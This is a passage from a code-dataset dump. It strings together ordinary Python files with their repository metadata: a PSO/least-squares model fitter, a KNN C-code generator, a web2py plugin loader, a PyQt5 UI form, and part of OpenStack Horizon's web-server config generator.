bound=bound, nages=nages, stand_error=stand_error) optimizer = ps.single.LocalBestPSO(n_particles=paramPSO['n_particles'], dimensions=self.n_to_fit, options=paramPSO['options'],bounds=self.bound) cost = pos = None cost, pos = optimizer.optimize(self.objectiveFunction,paramPSO['iter'], stand_error=stand_error, n_processes=self.numeroProcessadores) self.pos = pos self.pars_opt = self._conversor(pos, self.pars_init, self.padjus ) self.rmse = cost self.optimize = optimizer def fit_lsquares(self, data, pars, pars_to_fit, bound=None, nages=2, stand_error=False, init=None, nrand=10): self.prepare_to_fit(data, pars, pars_to_fit, bound=bound, nages=nages, stand_error=stand_error) if init == None: cost_best = np.inf res_best = None #BUG: the parallel code does not work if PSO code had run previously if type(self.pos) != type(None) or self.numeroProcessadores == None or self.numeroProcessadores <= 1: for i in range(nrand): print("{} / {}".format(i, nrand)) par0 = np.random.rand(self.n_to_fit) par0 = self.bound[0] + par0 * (self.bound[1] - self.bound[0]) res = least_squares(self._residuals, par0, bounds=self.bound) if res.cost < cost_best: cost_best = res.cost res_best = res else: par0 = np.random.rand(nrand, self.n_to_fit) par0 = self.bound[0].reshape((1,-1)) + par0 * (self.bound[1] - self.bound[0]).reshape((1,-1)) f = lambda p0: least_squares(self._residuals, p0, bounds=self.bound) all_res = joblib.Parallel(n_jobs=self.numeroProcessadores)(joblib.delayed(f)(p0,) for p0 in par0) costs = np.array([res.cost for res in all_res]) cost_best = all_res[costs.argmin()].cost res_best = all_res[costs.argmin()] else: res_best = least_squares(self._residuals, init, bounds=bound ) self.pos_ls = res_best.x self.pars_opt_ls = self._conversor(res_best.x, self.pars_init, self.padjus ) self.rmse_ls = (res_best.fun**2).mean() self.result_ls = res_best def predict(self, t=None, coefs=None, model_output=False): if type(t) == type(None): t = self.t if type(coefs) == type(None): coefs = self.pos elif type(coefs) == str and coefs == 'LS': coefs = self.pos_ls ts, mY = self._call_ODE(t, self._conversor(coefs, self.pars_init, self.padjus)) saida = np.zeros((len(ts), 0)) for i in self.i_integ: if type(i) == list: ytemp = (mY[:,i] *self.N.reshape((1,-1))).sum(axis=1) else: ytemp = mY[:,i] * self.N[i%self.nages] saida = np.c_[saida, ytemp.reshape((-1,1))] if model_output: return ts, saida, mY else: return ts, saida #ts, X = call_ODE(X0, tmax, betas, param, tcorte=tcorte) #plt.plot(ts, X[:,:2], '.-')

48.936267

152

0.593135

12,347

0.38271

0

2,729

0.084589

a1fac0722dfead6d7d06eddcce884f4ba1c9a684

2,447

py

Python

src/fogml/generators/knn_code_generator.py

bkulawska/FogML

fdcb2f0bf759f1994a6f788e9e60dd2d3b65919a

[ "Apache-2.0" ]

null

src/fogml/generators/knn_code_generator.py

bkulawska/FogML

fdcb2f0bf759f1994a6f788e9e60dd2d3b65919a

[ "Apache-2.0" ]

null

src/fogml/generators/knn_code_generator.py

bkulawska/FogML

fdcb2f0bf759f1994a6f788e9e60dd2d3b65919a

[ "Apache-2.0" ]

null

import numpy as np import os from sklearn.neighbors import KNeighborsClassifier from .base_generator import BaseGenerator class KNNCodeGenerator(BaseGenerator): skeleton_path = "skeletons/knn_skeleton.txt" def __init__(self, clf: KNeighborsClassifier): self.clf = clf @staticmethod def generate_c_matrix(matrix): result = "{\n" for i in range(matrix.shape[0]): result += "{" for j in range(matrix.shape[1]): result += "%.6f, " % matrix[i][j] result += "},\n" result += "}" return result @staticmethod def generate_c_array(array): result = "{" for i in range(len(array)): result += "%.6f, " % array[i] result += "}" return result def generate_zero_array(self, size): zero_array = np.zeros(size) return self.generate_c_array(zero_array) def metric_calculation(self, metric): if metric == "euclidean": return "res += pow2(x[j] - attributes[i][j])" elif metric == "manhattan": return "res += abs2(x[j] - attributes[i][j])" elif metric == "chebyshev": return "res = max2(res, abs2(x[j] - attributes[i][j]))" pass def generate(self, fname="knn_model.c", cname="classifier", **kwargs): classes = len(self.clf.classes_) features = self.clf.n_features_in_ k = self.clf.n_neighbors fit_X = np.array(self.clf._fit_X) Y = np.array(self.clf._y) with open(os.path.join(os.path.dirname(__file__), self.skeleton_path)) as skeleton: code = skeleton.read() code = self.license_header() + code code = code.replace('<class_count>', str(classes)) code = code.replace('<features>', str(features)) code = code.replace('<k_neighbours>', str(k)) code = code.replace('<members>', str(len(self.clf._fit_X))) code = code.replace('<dataset_features>', self.generate_c_matrix(fit_X)) code = code.replace('<member_class>', self.generate_c_array(Y)) code = code.replace('<class_count_empty>', self.generate_zero_array(classes)) code = code.replace('<cname>', cname) code = code.replace('<metric>', self.metric_calculation(self.clf.metric)) with open(fname, 'w') as output_file: output_file.write(code)

34.957143

91

0.585206

2,320

0.9481

0

495

0.202289

0

382

0.15611

a1fbd1b0e28715e9bf42d61fcecc21a928f44f08

8,719

py

Python

modules/plugins/__init__.py

sungkomp/sambro

4618d785d03424d122206d88d9ebfb6971486e2c

[ "MIT" ]

5

2017-02-03T16:29:43.000Z

2018-12-17T15:43:36.000Z

modules/plugins/__init__.py

sungkomp/sambro

4618d785d03424d122206d88d9ebfb6971486e2c

[ "MIT" ]

84

2016-04-11T12:47:42.000Z

2019-05-27T03:46:09.000Z

modules/plugins/__init__.py

sungkomp/sambro

4618d785d03424d122206d88d9ebfb6971486e2c

[ "MIT" ]

3

2016-11-29T15:27:18.000Z

2019-10-15T02:46:45.000Z

# -*- coding: utf-8 -*- import os import sys from gluon import current from gluon.storage import Storage __all__ = ("PluginLoader", ) # Name of the plugin directory in modules PLUGINS = "plugins" # Module names to ignore when scanning for plugins IGNORE = ("skeleton", "__init__") # Name of the setup function in plugins SETUP = "setup" # Name of the variable that contains the version info in plugins VERSION = "__version__" # ============================================================================= class PluginLoader(object): """ Simple plugin loader (experimental) Plugins are python modules or packages in the modules/plugins directory. Each plugin defines a setup() function which is called during the request cycle immediately before entering the controller. Plugins can be added by simply placing them in the plugins directory, without any code change required. The plugin directory will be scanned for new or updated plugins whenever a new session starts, or by calling explicitly: PluginLoader.detect(reset_all=True) NB the reloading of the plugins can only be enforced in the current interpreter thread - while other threads may still run the old version. Therefore, it is recommended to restart all threads (=reloading the server) after installing or updating a plugin. NB failing setup() methods will not be tried again until the next reload (new session, restart, or explicit call) session.s3.plugins contains a dict of all current plugins, like: {name: (version, status)} where: - name is the python module name of the plugin - version is the version string provided by the plugin (or "unknown" if not present) - status is: None = newly detected plugin, not set up yet True = plugin has been set up successfully False = plugin setup failed in the last attempt, deactivated """ # ------------------------------------------------------------------------- @classmethod def setup_all(cls, reload_all=False): """ Setup all plugins @param reload_all: reload all plugins and reset the registry """ if reload_all: cls.detect(reset_all=True) for name in cls._registry().keys(): cls.load(name) # ------------------------------------------------------------------------- @classmethod def detect(cls, reset_all=False): """ Detect new plugins and update the registry @param reset_all: reset all entries in the registry """ default = (None, None) if reset_all: plugin = lambda name: default else: registry = cls._registry() plugin = lambda name: registry.get(name, default) plugins = dict((name, plugin(name)) for name in cls._scan()) cls._registry(plugins) # ------------------------------------------------------------------------- @classmethod def load(cls, name, force=False): """ Run the setup method of a particular plugin @param name: the name of the plugin @param force: enforce the plugin to be reloaded and its setup method to be re-run regardless of the previous status """ log = current.log registry = cls._registry() if name not in registry: cls.detect() if name not in registry: raise NameError("plugin '%s' not found" % name) # Get version and status info from registry plugin_info = registry[name] if force or not isinstance(plugin_info, tuple): version, status = None, None else: version, status = plugin_info if status is None: new = True if not (cls._reload(name)): version, status = "unknown", False else: version, status = None, True else: new = False if status is False: # Skip plugins which have failed in previous attempts registry[name] = (version, status) return False status = True setup = None # Import manifest package = "%s.%s" % (PLUGINS, name) try: setup = getattr(__import__(package, fromlist=[SETUP]), SETUP) except (ImportError, AttributeError): # This may not be a plugin at all => remove from registry if new: log.debug("Plugin '%s' not found" % name) registry.pop(name, None) return False except SyntaxError: if new: log.error("Skipping invalid plugin '%s'" % name) if current.response.s3.debug: raise version, status = "invalid", False if version is None: # Update version info if plugin has been reloaded try: version = getattr(__import__(package, fromlist=[VERSION]), VERSION) except (ImportError, AttributeError): version = "unknown" if status and not callable(setup): # Is a module => find setup function try: setup = setup.setup except AttributeError: # No setup function found => treat as failed if new: log.debug("No setup function found for plugin '%s'" % name) status = False if status: # Execute setup method if new: log.info("Setting up plugin '%s'" % name) try: setup() except Exception: log.error("Plugin '%s' setup failed" % name) if current.response.s3.debug: raise status = False # Update the registry registry[name] = (version, status) return status # ------------------------------------------------------------------------- @classmethod def _registry(cls, plugins=None): """ Get (or replace) the current plugin registry @param plugins: the new registry """ session_s3 = current.session.s3 if plugins: registry = session_s3.plugins = plugins else: registry = session_s3.plugins if registry is None: # New session => run detect # - initialize registry first to prevent infinite recursion registry = session_s3.plugins = {} cls.detect() return registry # ------------------------------------------------------------------------- @staticmethod def _scan(): """ Iterator scanning the plugin directory for available plugins @return: the names of the plugins """ folder = current.request.folder path = os.path.join(folder, "modules", PLUGINS) names = os.listdir(path) for name in names: name_, extension = os.path.splitext(name) if name_ in IGNORE: continue path_ = os.path.join(path, name) if os.path.isdir(path_) or extension == ".py": yield(name_) # ------------------------------------------------------------------------- @staticmethod def _reload(name): """ Reload a plugin @param name: the plugin name @note: this works only within the current thread, other threads may still be bound to the old version of the plugin """ if name in IGNORE: return success = True appname = current.request.application plugin_name = "applications.%s.modules.%s.%s" % (appname, PLUGINS, name) plugin = sys.modules.get(plugin_name) if plugin is not None: try: reload(plugin) except ImportError: current.log.error("Reloading plugin '%s' failed" % name) success = False return success # ============================================================================= # Do a full scan when reloading the module (=when the thread starts) PluginLoader.detect(reset_all=True) # =============================================================================

31.02847

83

0.513476

7,926

0.909049

560

0.064228

5,817

0.667164

0

4,359

0.499943

a1fbde784a20640d80d64437aa8dd036428fff1c

15,105

py

Python

CCMtask/ccm.py

yyFFans/DemoPractises

e0e08413efc598489401c8370f4c7762b3493851

[ "MIT" ]

null

CCMtask/ccm.py

yyFFans/DemoPractises

e0e08413efc598489401c8370f4c7762b3493851

[ "MIT" ]

null

CCMtask/ccm.py

yyFFans/DemoPractises

e0e08413efc598489401c8370f4c7762b3493851

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'ccm.ui' # # Created by: PyQt5 UI code generator 5.13.2 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_CCMTask(object): def setupUi(self, CCMTask): CCMTask.setObjectName("CCMTask") CCMTask.resize(712, 585) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Ignored, QtWidgets.QSizePolicy.Ignored) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(CCMTask.sizePolicy().hasHeightForWidth()) CCMTask.setSizePolicy(sizePolicy) CCMTask.setAutoFillBackground(False) self.centralwidget = QtWidgets.QWidget(CCMTask) self.centralwidget.setObjectName("centralwidget") self.issueBox = QtWidgets.QGroupBox(self.centralwidget) self.issueBox.setGeometry(QtCore.QRect(10, 110, 691, 55)) self.issueBox.setObjectName("issueBox") self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.issueBox) self.horizontalLayout_3.setObjectName("horizontalLayout_3") self.ARDTSEdit = QtWidgets.QLineEdit(self.issueBox) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.ARDTSEdit.sizePolicy().hasHeightForWidth()) self.ARDTSEdit.setSizePolicy(sizePolicy) self.ARDTSEdit.setTabletTracking(True) self.ARDTSEdit.setObjectName("ARDTSEdit") self.horizontalLayout_3.addWidget(self.ARDTSEdit) spacerItem = QtWidgets.QSpacerItem(70, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem) self.issueInfoEdit = QtWidgets.QLineEdit(self.issueBox) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.issueInfoEdit.sizePolicy().hasHeightForWidth()) self.issueInfoEdit.setSizePolicy(sizePolicy) self.issueInfoEdit.setTabletTracking(True) self.issueInfoEdit.setObjectName("issueInfoEdit") self.horizontalLayout_3.addWidget(self.issueInfoEdit) self.label = QtWidgets.QLabel(self.issueBox) self.label.setText("") self.label.setObjectName("label") self.horizontalLayout_3.addWidget(self.label) self.issueDetailBox = QtWidgets.QGroupBox(self.centralwidget) self.issueDetailBox.setGeometry(QtCore.QRect(10, 170, 691, 401)) self.issueDetailBox.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) self.issueDetailBox.setTabletTracking(True) self.issueDetailBox.setObjectName("issueDetailBox") self.deletedParamsBox = QtWidgets.QGroupBox(self.issueDetailBox) self.deletedParamsBox.setGeometry(QtCore.QRect(500, 20, 161, 271)) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.deletedParamsBox.sizePolicy().hasHeightForWidth()) self.deletedParamsBox.setSizePolicy(sizePolicy) self.deletedParamsBox.setObjectName("deletedParamsBox") self.deletedParamsEdit = QtWidgets.QTextEdit(self.deletedParamsBox) self.deletedParamsEdit.setGeometry(QtCore.QRect(10, 20, 141, 231)) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.deletedParamsEdit.sizePolicy().hasHeightForWidth()) self.deletedParamsEdit.setSizePolicy(sizePolicy) self.deletedParamsEdit.setObjectName("deletedParamsEdit") self.opkeysBox_2 = QtWidgets.QGroupBox(self.issueDetailBox) self.opkeysBox_2.setGeometry(QtCore.QRect(10, 210, 153, 182)) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.opkeysBox_2.sizePolicy().hasHeightForWidth()) self.opkeysBox_2.setSizePolicy(sizePolicy) self.opkeysBox_2.setObjectName("opkeysBox_2") self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.opkeysBox_2) self.verticalLayout_2.setObjectName("verticalLayout_2") self.opkey1Edit_2 = QtWidgets.QLineEdit(self.opkeysBox_2) self.opkey1Edit_2.setTabletTracking(True) self.opkey1Edit_2.setText("") self.opkey1Edit_2.setPlaceholderText("") self.opkey1Edit_2.setObjectName("opkey1Edit_2") self.verticalLayout_2.addWidget(self.opkey1Edit_2) self.opkey2Edit_2 = QtWidgets.QLineEdit(self.opkeysBox_2) self.opkey2Edit_2.setTabletTracking(True) self.opkey2Edit_2.setText("") self.opkey2Edit_2.setPlaceholderText("") self.opkey2Edit_2.setObjectName("opkey2Edit_2") self.verticalLayout_2.addWidget(self.opkey2Edit_2) self.opkey3Edit_2 = QtWidgets.QLineEdit(self.opkeysBox_2) self.opkey3Edit_2.setTabletTracking(True) self.opkey3Edit_2.setText("") self.opkey3Edit_2.setPlaceholderText("") self.opkey3Edit_2.setObjectName("opkey3Edit_2") self.verticalLayout_2.addWidget(self.opkey3Edit_2) self.opkey4Edit_2 = QtWidgets.QLineEdit(self.opkeysBox_2) self.opkey4Edit_2.setTabletTracking(True) self.opkey4Edit_2.setText("") self.opkey4Edit_2.setPlaceholderText("") self.opkey4Edit_2.setObjectName("opkey4Edit_2") self.verticalLayout_2.addWidget(self.opkey4Edit_2) self.opkey5Edit_2 = QtWidgets.QLineEdit(self.opkeysBox_2) self.opkey5Edit_2.setTabletTracking(True) self.opkey5Edit_2.setText("") self.opkey5Edit_2.setPlaceholderText("") self.opkey5Edit_2.setObjectName("opkey5Edit_2") self.verticalLayout_2.addWidget(self.opkey5Edit_2) self.opkey6Edit_2 = QtWidgets.QLineEdit(self.opkeysBox_2) self.opkey6Edit_2.setTabletTracking(True) self.opkey6Edit_2.setText("") self.opkey6Edit_2.setPlaceholderText("") self.opkey6Edit_2.setClearButtonEnabled(False) self.opkey6Edit_2.setObjectName("opkey6Edit_2") self.verticalLayout_2.addWidget(self.opkey6Edit_2) self.splitter_2 = QtWidgets.QSplitter(self.issueDetailBox) self.splitter_2.setGeometry(QtCore.QRect(10, 20, 153, 182)) self.splitter_2.setOrientation(QtCore.Qt.Vertical) self.splitter_2.setObjectName("splitter_2") self.opkeysBox = QtWidgets.QGroupBox(self.splitter_2) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.opkeysBox.sizePolicy().hasHeightForWidth()) self.opkeysBox.setSizePolicy(sizePolicy) self.opkeysBox.setObjectName("opkeysBox") self.verticalLayout = QtWidgets.QVBoxLayout(self.opkeysBox) self.verticalLayout.setObjectName("verticalLayout") self.opkey1Edit = QtWidgets.QLineEdit(self.opkeysBox) self.opkey1Edit.setTabletTracking(True) self.opkey1Edit.setText("") self.opkey1Edit.setObjectName("opkey1Edit") self.verticalLayout.addWidget(self.opkey1Edit) self.opkey2Edit = QtWidgets.QLineEdit(self.opkeysBox) self.opkey2Edit.setTabletTracking(True) self.opkey2Edit.setText("") self.opkey2Edit.setObjectName("opkey2Edit") self.verticalLayout.addWidget(self.opkey2Edit) self.opkey3Edit = QtWidgets.QLineEdit(self.opkeysBox) self.opkey3Edit.setTabletTracking(True) self.opkey3Edit.setText("") self.opkey3Edit.setObjectName("opkey3Edit") self.verticalLayout.addWidget(self.opkey3Edit) self.opkey4Edit = QtWidgets.QLineEdit(self.opkeysBox) self.opkey4Edit.setTabletTracking(True) self.opkey4Edit.setText("") self.opkey4Edit.setObjectName("opkey4Edit") self.verticalLayout.addWidget(self.opkey4Edit) self.opkey5Edit = QtWidgets.QLineEdit(self.opkeysBox) self.opkey5Edit.setTabletTracking(True) self.opkey5Edit.setText("") self.opkey5Edit.setObjectName("opkey5Edit") self.verticalLayout.addWidget(self.opkey5Edit) self.opkey6Edit = QtWidgets.QLineEdit(self.opkeysBox) self.opkey6Edit.setTabletTracking(True) self.opkey6Edit.setText("") self.opkey6Edit.setClearButtonEnabled(False) self.opkey6Edit.setObjectName("opkey6Edit") self.verticalLayout.addWidget(self.opkey6Edit) self.splitter = QtWidgets.QSplitter(self.issueDetailBox) self.splitter.setGeometry(QtCore.QRect(190, 20, 291, 361)) self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName("splitter") self.newParamsBox = QtWidgets.QGroupBox(self.splitter) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.newParamsBox.sizePolicy().hasHeightForWidth()) self.newParamsBox.setSizePolicy(sizePolicy) self.newParamsBox.setObjectName("newParamsBox") self.newParamsEdit = QtWidgets.QTextEdit(self.newParamsBox) self.newParamsEdit.setGeometry(QtCore.QRect(10, 20, 271, 141)) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.newParamsEdit.sizePolicy().hasHeightForWidth()) self.newParamsEdit.setSizePolicy(sizePolicy) self.newParamsEdit.setPlaceholderText("") self.newParamsEdit.setObjectName("newParamsEdit") self.modifiedParamsBox = QtWidgets.QGroupBox(self.splitter) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.modifiedParamsBox.sizePolicy().hasHeightForWidth()) self.modifiedParamsBox.setSizePolicy(sizePolicy) self.modifiedParamsBox.setObjectName("modifiedParamsBox") self.modifiedParamsEdit = QtWidgets.QTextEdit(self.modifiedParamsBox) self.modifiedParamsEdit.setGeometry(QtCore.QRect(10, 20, 271, 121)) self.modifiedParamsEdit.setObjectName("modifiedParamsEdit") self.widget = QtWidgets.QWidget(self.centralwidget) self.widget.setGeometry(QtCore.QRect(22, 20, 661, 81)) self.widget.setObjectName("widget") self.horizontalLayout = QtWidgets.QHBoxLayout(self.widget) self.horizontalLayout.setContentsMargins(0, 0, 0, 0) self.horizontalLayout.setObjectName("horizontalLayout") self.branchSelectBox = QtWidgets.QGroupBox(self.widget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.branchSelectBox.sizePolicy().hasHeightForWidth()) self.branchSelectBox.setSizePolicy(sizePolicy) self.branchSelectBox.setObjectName("branchSelectBox") self.horizontalLayout_4 = QtWidgets.QHBoxLayout(self.branchSelectBox) self.horizontalLayout_4.setObjectName("horizontalLayout_4") self.checkBox10x = QtWidgets.QCheckBox(self.branchSelectBox) self.checkBox10x.setChecked(True) self.checkBox10x.setObjectName("checkBox10x") self.horizontalLayout_4.addWidget(self.checkBox10x) self.checkBox9x = QtWidgets.QCheckBox(self.branchSelectBox) self.checkBox9x.setChecked(True) self.checkBox9x.setObjectName("checkBox9x") self.horizontalLayout_4.addWidget(self.checkBox9x) self.horizontalLayout.addWidget(self.branchSelectBox) spacerItem1 = QtWidgets.QSpacerItem(250, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout.addItem(spacerItem1) self.startButton = QtWidgets.QPushButton(self.widget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.startButton.sizePolicy().hasHeightForWidth()) self.startButton.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setFamily("Consolas") font.setPointSize(14) self.startButton.setFont(font) self.startButton.setWhatsThis("") self.startButton.setObjectName("startButton") self.horizontalLayout.addWidget(self.startButton) CCMTask.setCentralWidget(self.centralwidget) self.statusbar = QtWidgets.QStatusBar(CCMTask) self.statusbar.setObjectName("statusbar") CCMTask.setStatusBar(self.statusbar) self.retranslateUi(CCMTask) QtCore.QMetaObject.connectSlotsByName(CCMTask) def retranslateUi(self, CCMTask): _translate = QtCore.QCoreApplication.translate CCMTask.setWindowTitle(_translate("CCMTask", "CCMTask")) self.issueBox.setTitle(_translate("CCMTask", "需求信息")) self.ARDTSEdit.setPlaceholderText(_translate("CCMTask", "AR或者DTS编号")) self.issueInfoEdit.setPlaceholderText(_translate("CCMTask", "需求描述信息")) self.issueDetailBox.setTitle(_translate("CCMTask", "需求内容")) self.deletedParamsBox.setTitle(_translate("CCMTask", "删除参数")) self.opkeysBox_2.setTitle(_translate("CCMTask", "审核人列表")) self.opkeysBox.setTitle(_translate("CCMTask", "运营商列表")) self.opkey1Edit.setPlaceholderText(_translate("CCMTask", "OPkey1")) self.opkey2Edit.setPlaceholderText(_translate("CCMTask", "OPkey2")) self.opkey3Edit.setPlaceholderText(_translate("CCMTask", "OPkey3")) self.opkey4Edit.setPlaceholderText(_translate("CCMTask", "OPkey4")) self.opkey5Edit.setPlaceholderText(_translate("CCMTask", "OPkey5")) self.opkey6Edit.setPlaceholderText(_translate("CCMTask", "OPkey6")) self.newParamsBox.setTitle(_translate("CCMTask", "新增参数")) self.modifiedParamsBox.setTitle(_translate("CCMTask", "修改参数")) self.branchSelectBox.setTitle(_translate("CCMTask", "分支选择")) self.checkBox10x.setText(_translate("CCMTask", "10.x ALL")) self.checkBox9x.setText(_translate("CCMTask", "9.x ALL")) self.startButton.setText(_translate("CCMTask", "Start"))

57

112

0.732539

14,954

0.984269

0

1,212

0.079774

a1fe7d59bcfb1477b00dec04a015c0d87e23fbf2

11,758

py

Python

openstack_dashboard/management/commands/make_web_conf.py

wilk/horizon

bdf7e692227367a928325acdd31088971d3c4ff4

[ "Apache-2.0" ]

1

2019-08-07T08:46:03.000Z

openstack_dashboard/management/commands/make_web_conf.py

wilk/horizon

bdf7e692227367a928325acdd31088971d3c4ff4

[ "Apache-2.0" ]

5

2019-08-14T06:46:03.000Z

2021-12-13T20:01:25.000Z

openstack_dashboard/management/commands/make_web_conf.py

wilk/horizon

bdf7e692227367a928325acdd31088971d3c4ff4

[ "Apache-2.0" ]

2

2020-03-15T01:24:15.000Z

2020-07-22T20:34:26.000Z

# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from __future__ import print_function import multiprocessing import os import re import socket import subprocess import sys import warnings import six from django.conf import settings from django.core.management import base from django import template # Suppress DeprecationWarnings which clutter the output to the point of # rendering it unreadable. warnings.simplefilter('ignore') cmd_name = __name__.split('.')[-1] CURDIR = os.path.realpath(os.path.dirname(__file__)) PROJECT_PATH = os.path.realpath(os.path.join(CURDIR, '../..')) STATIC_PATH = os.path.realpath(os.path.join(PROJECT_PATH, '../static')) # Known apache regular expression to retrieve it's version APACHE_VERSION_REG = r'Apache/(?P<version>[\d.]*)' # Known apache commands to retrieve it's version APACHE2_VERSION_CMDS = ( (('/usr/sbin/apache2ctl', '-V'), APACHE_VERSION_REG), (('/usr/sbin/apache2', '-v'), APACHE_VERSION_REG), ) # Known apache log directory locations APACHE_LOG_DIRS = ( '/var/log/httpd', # RHEL / Red Hat / CentOS / Fedora Linux '/var/log/apache2', # Debian / Ubuntu Linux ) # Default log directory DEFAULT_LOG_DIR = '/var/log' def _getattr(obj, name, default): """Like getattr but return `default` if None or False. By default, getattr(obj, name, default) returns default only if attr does not exist, here, we return `default` even if attr evaluates to None or False. """ value = getattr(obj, name, default) if value: return value else: return default context = template.Context({ 'DJANGO_SETTINGS_MODULE': os.environ['DJANGO_SETTINGS_MODULE'], 'HOSTNAME': socket.getfqdn(), 'PROJECT_PATH': os.path.realpath( _getattr(settings, 'ROOT_PATH', PROJECT_PATH)), 'STATIC_PATH': os.path.realpath( _getattr(settings, 'STATIC_ROOT', STATIC_PATH)), 'SSLCERT': '/etc/pki/tls/certs/ca.crt', 'SSLKEY': '/etc/pki/tls/private/ca.key', 'CACERT': None, 'PROCESSES': multiprocessing.cpu_count() + 1, }) context['PROJECT_ROOT'] = os.path.dirname(context['PROJECT_PATH']) context['PROJECT_DIR_NAME'] = os.path.basename( context['PROJECT_PATH'].split(context['PROJECT_ROOT'])[1]) context['PROJECT_NAME'] = context['PROJECT_DIR_NAME'] context['DEFAULT_WSGI_FILE'] = os.path.join( context['PROJECT_PATH'], 'wsgi.py') context['WSGI_FILE'] = os.path.join( context['PROJECT_PATH'], 'horizon_wsgi.py') VHOSTNAME = context['HOSTNAME'].split('.') VHOSTNAME[0] = context['PROJECT_NAME'] context['VHOSTNAME'] = '.'.join(VHOSTNAME) if len(VHOSTNAME) > 1: context['DOMAINNAME'] = '.'.join(VHOSTNAME[1:]) else: context['DOMAINNAME'] = 'openstack.org' context['ADMIN'] = 'webmaster@%s' % context['DOMAINNAME'] context['ACTIVATE_THIS'] = None virtualenv = os.environ.get('VIRTUAL_ENV') if virtualenv: activate_this = os.path.join( virtualenv, 'bin/activate_this.py') if os.path.exists(activate_this): context['ACTIVATE_THIS'] = activate_this # Try to detect apache's version # We fallback on 2.4. context['APACHE2_VERSION'] = 2.4 APACHE2_VERSION = None for cmd in APACHE2_VERSION_CMDS: if os.path.exists(cmd[0][0]): try: reg = re.compile(cmd[1]) output = subprocess.check_output(cmd[0], stderr=subprocess.STDOUT) if isinstance(output, six.binary_type): output = output.decode() res = reg.search(output) if res: APACHE2_VERSION = res.group('version') break except subprocess.CalledProcessError: pass if APACHE2_VERSION: ver_nums = APACHE2_VERSION.split('.') if len(ver_nums) >= 2: try: context['APACHE2_VERSION'] = float('.'.join(ver_nums[:2])) except ValueError: pass def find_apache_log_dir(): for log_dir in APACHE_LOG_DIRS: if os.path.exists(log_dir) and os.path.isdir(log_dir): return log_dir return DEFAULT_LOG_DIR context['LOGDIR'] = find_apache_log_dir() class Command(base.BaseCommand): args = '' help = """Create %(wsgi_file)s or the contents of an apache %(p_name)s.conf file (on stdout). The apache configuration is generated on stdout because the place of this file is distribution dependent. examples:: manage.py %(cmd_name)s --wsgi # creates %(wsgi_file)s manage.py %(cmd_name)s --apache # creates an apache vhost conf file (on \ stdout). manage.py %(cmd_name)s --apache --ssl --mail=%(admin)s \ --project=%(p_name)s --hostname=%(hostname)s To create an acpache configuration file, redirect the output towards the location you desire, e.g.:: manage.py %(cmd_name)s --apache > \ /etc/httpd/conf.d/openstack_dashboard.conf """ % { 'cmd_name': cmd_name, 'p_name': context['PROJECT_NAME'], 'wsgi_file': context['WSGI_FILE'], 'admin': context['ADMIN'], 'hostname': context['VHOSTNAME'], } def add_arguments(self, parser): # TODO(ygbo): Add an --nginx option. parser.add_argument( "-a", "--apache", default=False, action="store_true", dest="apache", help="generate an apache vhost configuration" ) parser.add_argument( "--cacert", dest="cacert", help=("Use with the --apache and --ssl option to define the 